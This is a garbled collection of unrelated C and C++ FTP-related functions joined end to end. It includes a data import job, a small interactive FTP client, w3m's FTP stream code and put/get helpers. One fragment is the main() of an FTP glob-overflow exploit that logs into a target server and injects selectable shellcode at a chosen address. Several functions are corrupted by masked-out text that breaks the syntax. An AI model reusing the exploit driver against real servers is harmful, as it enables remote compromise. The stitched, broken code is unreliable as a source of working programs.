size=%lld", # endif (fra[db.fra_pos].ls_data_alias[0] == '\0') ? fra[db.fra_pos].dir_alias : fra[db.fra_pos].ls_data_alias, i, rl[i].file_name, (int)rl[i].assigned, (pri_off_t)rl[i].size); #endif /* DEBUG_ASSIGNMENT */ return(0); } else { return(1); } }
void main(int argc, char *argv[]) { ifstream bcpInfile; // local import file holding records to bcp to x_import table int hndl; // file handle char szXfrFile[128]; // holds name of delimited import file char szTmpFile[128]; // holds name of renamed delimited import file char szXfrLocalFile[128]; // holds name of delimited import file with local dir prepended int intBcpCount; // number of rows bcp'd // Open import log and import error log files if ( !OpenLogFiles() ) return; if ( argc >= 7 ) szSystem = argv[7]; else szSystem = ""; // Check if user wants help or if incorrect args entered if ( !CheckArgs(argc, argv) ) return; // Create transfer filenames wsprintf(szXfrFile, "%s_cags.xfr", argv[7] ); wsprintf(szTmpFile, "%s_cags.yyy", argv[7] ); // Connect to database and init db structures if ( !DBConnect(argv[1], argv[2], argv[3]) ) return; // // Check if local wms_cags.xfr exists to BCP records into import table // wsprintf(szXfrLocalFile, "%s%s", "./transfer/", szXfrFile ); if ( FileSize(szXfrLocalFile) > -1 ) // file exists { // Open local wms_cags.xfr bcpInfile.open(szXfrLocalFile, ios::nocreate, filebuf::sh_none); if ( !bcpInfile.is_open() ) { // Failed open so get out and retry on next run errfile << ERROR_PREFIX << "failed to open bcp input file" << endl; return; } else { // Call bcp routines to move data from import file into x_import table // Note: If migrated to another RDBMS most changes will be to this function if ( (intBcpCount = BCPInRecords(bcpInfile, argv[7])) != -1 ) { // Delete local import file now that its records are in import table bcpInfile.close(); f_deletefile(szXfrLocalFile); logfile << INFO_PREFIX << "successfull BCP of " << intBcpCount << " records into import table" << endl; } else { // Failed bcp so don't delete and get out to retry on next run bcpInfile.close(); errfile << ERROR_PREFIX << "failed BCP of import file to import table" << endl; return; } } } else { if ( FileSize(szXfrLocalFile) == -1 ) logfile << WARNING_PREFIX << "no records to import from " << szXfrLocalFile << " this run" << endl; else errfile << ERROR_PREFIX << "error opening local import file " << szXfrLocalFile << endl; } // // Logon to ftp server to get remote wms_cags.xfr to be bcp'd next import run // hndl = ftp_login(argv[4], argv[5], argv[6], ""); if ( hndl == -1 ) { errfile << ERROR_PREFIX << "failed ftp_login" << endl; return; } // Set current remote transfer directory if ( ftp_cd(hndl, argv[8]) == -1 ) { errfile << ERROR_PREFIX << "failed ftp_cd to " << argv[8] << endl; return; } // Check for no left over records from prior import and new records to import if ( !ftp_exist(hndl, szTmpFile) && ftp_exist(hndl, szXfrFile) ) { // If so, then rename prior to ftp_get to prevent contention with remote site if ( ftp_rename(hndl, szXfrFile, szTmpFile) == -1 ) { // ftp_rename failed so just log message and try again next invocation errfile << ERROR_PREFIX << "failed ftp_remame of " << szXfrFile << " to " << szTmpFile << " will retry next run" << endl; return; } } // Check for either left over records or new records in tmp file to import if ( ftp_exist(hndl, szTmpFile) ) { // If so, then ftp them to local directory if ( ftp_get(hndl, szTmpFile, szXfrLocalFile) == -1 ) { // ftp_get failed so do nothing here and retry next invovation errfile << ERROR_PREFIX << "failed ftp_get of " << szTmpFile << " will retry next run" << endl; } else { if ( ftp_delete(hndl, szTmpFile) == -1 ) { // ftp_delete failed so delete local to prevent re-importing next invocation f_deletefile(szXfrLocalFile); errfile << ERROR_PREFIX << "failed ftp_delete of " << szTmpFile << endl; } else { // successfull FTP logfile << INFO_PREFIX << "successfull FTP from remote site to " << szXfrLocalFile << endl; } } } else logfile << WARNING_PREFIX << "no records to ftp from remote site this run" << endl; // Close opened objects if ( !logfile.is_open() ) logfile.close(); if ( !errfile.is_open() ) errfile.close(); dbexit(); // close database connection ftp_quit(hndl); // close ftp connection }
int main(int argc, char **argv) { int sock, c; int port = FTP_PORT; int debuglevel = 0; char *host = NULL; char *username = NULL; char *password = NULL; struct arch *arch = NULL; char *shellcode = bsdcode; int target = 0; int sleep_time = 0; unsigned long code_addr = 0; char *homedir = NULL;; /* grab command line parameters */ while((c = getopt(argc, argv, "c:o:u:p:it:d:l:v:s:h")) != EOF) { switch(c) { case 'c': host = Strdup(optarg); break; case 'o': port = atoi(optarg); break; case 'u': username = Strdup(optarg); break; case 'p': password = Strdup(optarg); /* hide the password from ps */ memset(optarg, 'X', strlen(optarg)); break; case 'i': password = getpass("Enter remote password: "******"list") == 0) { list_targets(); return EXIT_FAILURE; } target = atoi(optarg); arch = &(archlist[target]); code_addr = ntohl(arch->code_addr); shellcode = arch->shellcode; break; case 'd': homedir = Strdup(optarg); break; case 'l': code_addr = ntohl(strtoul(optarg, NULL, 0)); break; case 'v': debuglevel = atoi(optarg); break; case 's': sleep_time = atoi(optarg); break; default: usage(argv[0]); break; } } /* check for required options */ if(host == NULL || username == NULL || password == NULL || code_addr == 0) usage(argv[0]); /* setup the debug level */ switch(debuglevel) { case 1: debug_read = 1; debug_write = 0; break; case 2: debug_read = 1; debug_write = 1; break; default: debug_read = 0; debug_write = 0; break; } /* make sure the shellcode is good */ if(!verify_shellcode(shellcode)) return EXIT_FAILURE; /* initiate the tcp connection to the ftp server */ if((sock = tcp_connect(host, port)) == -1) { fprintf(stderr, "[-] Connection to %s failed!\n", host); ftp_quit(sock); return EXIT_FAILURE; } if(arch == NULL) printf("[0] Connected to host %s.\n", host); else printf("[0] Connected to host %s\n\tusing type:\t%s.\n", host, arch->description); /* login */ if(!ftp_login(sock, username, password)) { fprintf(stderr, "[-] Login failed, aborting!\n"); ftp_quit(sock); return EXIT_FAILURE; } /* hey, so im anal! */ memset(password, 'X', strlen(password)); memset(username, 'X', strlen(username)); printf("[1] Login succeeded.\n"); if(sleep != 0) sleep(sleep_time); if(homedir == NULL) { /* get home directory */ if((homedir = ftp_gethomedir(sock)) == NULL) { fprintf(stderr, "[-] Couldn't retrieve home directory, aborting!\n"); ftp_quit(sock); return EXIT_FAILURE; } } printf("[2] Home directory retrieved as \"%s\", %u bytes.\n", homedir, strlen(homedir)); /* do the exploitation */ if(!ftp_glob_exploit(sock, homedir, code_addr, shellcode)) { fprintf(stderr, "[-] exploit failed, aborting!\n"); ftp_quit(sock); return EXIT_FAILURE; } free(host); return EXIT_SUCCESS; }
int main(int argc,char **argv) { printf("ftp>"); char command[MAXSIZE]; char*cmd; scanf("%s",command); cmd=command; while(*(cmd)==' ') cmd++; if(strncmp(cmd,"login",5)==0) { login(); if(login_yes==1) { while(1) { comm: sleep(1); printf("ftp>"); zeromery(command,1024); scanf("%s",command); cmd=command; while(*(cmd)==' ') cmd++; if(strncmp(cmd,"pasv",4)==0) { ftp_list(control_sockfd); } if(strncmp(cmd,"port",4)==0) { ftp_list(control_sockfd); } if(strncmp(cmd,"list",4)==0) { ftp_pwd(control_sockfd); ftp_list(control_sockfd); } if(strncmp(cmd,"pwd",3)==0) { ftp_pwd(control_sockfd); } if(strncmp(cmd,"mkdir",5)==0) { char path[60]; zeromery(path,60); printf("创建的路径名: "); scanf("%s",path); printf("s\n",path); ftp_creat_mkd(path,control_sockfd); } if(strncmp(cmd,"back",4)==0) { ftp_back(control_sockfd); ftp_pwd(control_sockfd); } if(strncmp(cmd,"cd",2)==0) { int i; char path[60]; zeromery(path,60); printf("要到的路径:"); scanf("%s",path); printf("%s\n",path); ftp_changdir(path,control_sockfd); } if(strncmp(cmd,"get",3)==0) { ftp_pwd(control_sockfd); ftp_download(control_sockfd); } if(strncmp(cmd,"up",3)==0) { ftp_pwd(control_sockfd); ftp_up(control_sockfd); } if(strncmp(cmd,"quit",4)==0) { printf("bye^_^\n"); close(control_sockfd); break; } printf("支持 list,pwd,mkdir,back,cd,up,get\n"); } } else if(login_yes==0) { int i;//不成功登录下最多还有两次机会,如果不能在两次登录,则,关闭链接。 printf("Can not login vsftpd"); for(i=2;i>0;i--) { printf("你还有 %d 登录机会\n",i); login(); if(login_yes==1) { goto comm; } } if(i==0) { printf("你不能在登录!\n"); close(control_sockfd); } } else if (strncmp(cmd,"quit",4)==0) { ftp_quit(control_sockfd); close(control_sockfd); } } return 0; }
InputStream openFTPStream(ParsedURL *pu, URLFile *uf) { Str tmp; int status; char *user = NULL; char *pass = NULL; Str uname = NULL; Str pwd = NULL; int add_auth_cookie_flag = FALSE; char *realpathname = NULL; if (!pu->host) return NULL; if (pu->user == NULL && pu->pass == NULL) { if (find_auth_user_passwd(pu, NULL, &uname, &pwd, 0)) { if (uname) user = uname->ptr; if (pwd) pass = pwd->ptr; } } if (user) /* do nothing */ ; else if (pu->user) user = pu->user; else user = "******"; if (current_ftp.host) { if (!strcmp(current_ftp.host, pu->host) && current_ftp.port == pu->port && !strcmp(current_ftp.user, user)) { ftp_command(¤t_ftp, "NOOP", NULL, &status); if (status != 200) ftp_close(¤t_ftp); else goto ftp_read; } else ftp_quit(¤t_ftp); } if (pass) /* do nothing */ ; else if (pu->pass) pass = pu->pass; else if (pu->user) { pwd = NULL; find_auth_user_passwd(pu, NULL, &uname, &pwd, 0); if (pwd == NULL) { if (fmInitialized) { term_raw(); pwd = Strnew_charp(inputLine("Password: "******"Password: "******"Password: "******"anonymous"); #else tmp = Strnew_charp("anonymous"); #endif /* __MINGW32_VERSION */ Strcat_char(tmp, '@'); pass = tmp->ptr; } if (!current_ftp.host) { current_ftp.host = allocStr(pu->host, -1); current_ftp.port = pu->port; current_ftp.user = allocStr(user, -1); current_ftp.pass = allocStr(pass, -1); if (!ftp_login(¤t_ftp)) return NULL; } if (add_auth_cookie_flag) add_auth_user_passwd(pu, NULL, uname, pwd, 0); ftp_read: ftp_command(¤t_ftp, "TYPE", "I", &status); if (ftp_pasv(¤t_ftp) < 0) { ftp_quit(¤t_ftp); return NULL; } if (pu->file == NULL || *pu->file == '\0' || pu->file[strlen(pu->file) - 1] == '/') goto ftp_dir; realpathname = file_unquote(pu->file); if (*realpathname == '/' && *(realpathname + 1) == '~') realpathname++; /* Get file */ uf->modtime = ftp_modtime(¤t_ftp, realpathname); ftp_command(¤t_ftp, "RETR", realpathname, &status); if (status == 125 || status == 150) return newFileStream(current_ftp.data, (void (*)())closeFTPdata); ftp_dir: pu->scheme = SCM_FTPDIR; return NULL; }
int ftp_put(st_ftp *s) { int ret,error; char src_file[512],dst_file[512],send_buff[512],put_cmd[512]; struct stat file_info; int local_file; int file_put_sock,new_sock,count=0,i=0; int set=sizeof(local_host); memset(src_file,0,sizeof(src_file)); memset(dst_file,0,sizeof(dst_file)); memset(send_buff,0,sizeof(send_buff)); memset(put_cmd,0,sizeof(put_cmd)); sprintf(put_cmd,"put %s",s->putFileName); if((ret = ftp_login(s->ip, s->port, s->user, s->password)) == -1) // 登录ftp { printf("Password error!\n"); return -1; } else if(ret == -2) { printf("User error!\n"); return -1; } if(local_cd(s->localDir) != 0) // 切换到本地目录 { printf("local cd error !\n"); return -1; } if(ftp_cd(s->ftpDir) != 0)// 改变ftp服务器的目录 { printf("ftp cd error !\n"); return -1; } ftp_cmd_filename(put_cmd,src_file,dst_file);// ftp操作命令 if((stat(src_file,&file_info))<0) // 获取文件信息 { printf("local file %s doesn't exist!\n",src_file); close(sock_control); return -1; } local_file=open(src_file,O_RDONLY); if(local_file<0) { printf("Open file error\n"); close(sock_control); return -2; } file_put_sock=ftp_connect_data(); if(file_put_sock<0) { ftp_get_reply(sock_control); printf("Creat data socket error!\n"); close(local_file); close(sock_control); return -3; } ftp_send_cmd("TYPE I",NULL,sock_control);/* 数据类型(A=ASCII,E=EBCDIC,I=binary) */ error = ftp_get_reply(sock_control); printf("ftp reply number:<%d>, fun<%s> line<%d>\n",error,__FUNCTION__,__LINE__); if(error != 200) { printf("commond :<TYPE I> error!,line<%d>\n",__LINE__); return -1; } ftp_send_cmd("STOR ",dst_file,sock_control);/* 储存(复制)文件到服务器上 */ error = ftp_get_reply(sock_control); printf("ftp reply number:<%d>, fun<%s> line<%d>\n",error,__FUNCTION__,__LINE__); if(error != 150) { printf("commond :<STOR> error!,line<%d>\n",__LINE__); return -1; } printf("put file begin,please wait ...\n"); while(1) { count=read(local_file,send_buff,sizeof(send_buff)); if(count<=0) { break; } else { if((write(file_put_sock,send_buff,count)) == -1) { printf("write err!\n"); break; } } } printf("put file succ!\n"); close(local_file); close(file_put_sock); ftp_get_reply(sock_control); ftp_quit(); return 0; }
int ftp_get(st_ftp *s) { int ret,error; int get_sock, set, new_sock, i = 0; char src_file[512],dst_file[512],rcv_buf[512],get_cmd[512]; int local_file; int count = 0; struct stat file_info; memset(src_file,0,sizeof(src_file)); memset(dst_file,0,sizeof(dst_file)); memset(rcv_buf,0,sizeof(rcv_buf)); memset(get_cmd,0,sizeof(get_cmd)); sprintf(get_cmd,"get %s",s->getFileName); if((ret = ftp_login(s->ip, s->port, s->user, s->password)) == -1) { printf("Password error!\n"); return -1; } else if(ret == -2) { printf("User error!\n"); return -1; } if(local_cd(s->localDir) != 0) { printf("local cd error !\n"); return -1; } if(ftp_cd(s->ftpDir) != 0) { printf("ftp cd error !\n"); return -1; } ftp_cmd_filename(get_cmd, src_file, dst_file); if(!stat(dst_file, &file_info)) { printf("local file %s exists: %d bytes\n", dst_file, (int)file_info.st_size); if(!s->getCoverFalgs) { close(sock_control); return -1; } } local_file = open(dst_file, O_CREAT|O_TRUNC|O_WRONLY); if(local_file < 0) { printf("creat local file %s error!\n", dst_file); close(sock_control); return -2; } get_sock = ftp_connect_data(); if(get_sock < 0) { printf("socket error!\n"); close(sock_control); return -3; } set = sizeof(local_host); ftp_send_cmd("TYPE I", NULL, sock_control); error = ftp_get_reply(sock_control); printf("ftp reply number:<%d>, fun<%s> line<%d>\n",error,__FUNCTION__,__LINE__); if(error != 200) { printf("commond :<TYPE I> error!,line<%d>\n",__LINE__); return -1; } ftp_send_cmd("RETR ", src_file, sock_control);/* 从服务器上找回(复制)文件 */ error = ftp_get_reply(sock_control); printf("ftp reply number:<%d>, fun<%s> line<%d>\n",error,__FUNCTION__,__LINE__); if(error != 150) { printf("commond :<RETR> error!,line<%d>\n",__LINE__); return -1; } printf("get file begin,please wait ...\n"); while(1) { count = read(get_sock, rcv_buf, sizeof(rcv_buf)); if(count <= 0) { break; } else { if((write(local_file, rcv_buf, count)) == -1) { printf("write err!\n"); break; } } } printf("get file succ!\n"); close(local_file); close(get_sock); ftp_get_reply(sock_control); ftp_quit(); return 0; }